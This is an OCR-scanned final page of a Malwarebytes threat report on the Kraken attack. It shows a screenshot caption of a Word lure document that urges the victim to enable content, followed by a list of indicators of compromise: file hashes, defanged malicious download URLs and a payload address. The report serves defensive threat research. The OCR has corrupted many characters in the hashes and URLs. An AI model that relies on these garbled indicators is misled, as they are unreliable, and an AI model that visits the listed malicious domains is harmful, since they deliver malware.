“D%Cut - Sl A A B, - =, |s=3= é\l q £ Find ~
Poct ER Copy - 20 Replace
B2 i © 2 M TEE& D - ==== T 7 Ly Select~
Clipboard [F] Font [F] Paragraph [F] Styles F] Editing ~
NaVigaﬂOn v X Microsoft Word *
Search document
Error during decryption process
This document is encrypted to ensure)
To view the document, please click “Enable editin
bar and then click “Enable co Domain:  yourrighttocompensation.com
IP Address: 51.158.113.130
Port: 443
Type: QutboundConnection
. File: WINWORD
If you have any questions, our team
Lo lo o o
31368f805417eb7c7905d0ed729¢eb 1bb0fea33fee358f7a11988a0d2366...: 2,036 characters (an approximate value),
Figure 21: Lure document attempting to contact remote site

Lure document:
31368f805417eb7c7c9o5doed729ebibbofea33f6e358f7a11988a0d2366e942

Archive file containing lure document:
d68f21564567926288b49812f1a89b8cdgedoazdbfof670dbe65713d890ad1f4

Document template image:
yourrighttocompensation[.]com/ping

Archive file download URLs:

yourrighttocompensation[.]Jcom/?rid=UNfxeHM
yourrighttocompensation[.]Jcom/download/?
key=15a50bfeggcfe29dagq75bac45fd16c50c60c85bff6bo6e530cc91dbsc710ac30&id=0
yourrighttocompensation[.]Jcom/?rid=n6XThxD
yourrighttocompensation[.]Jcom/?rid=AuCIILU
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Download URL for final payload:
asia-kotobal.]net/favicon32.ico

https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/ 17/17



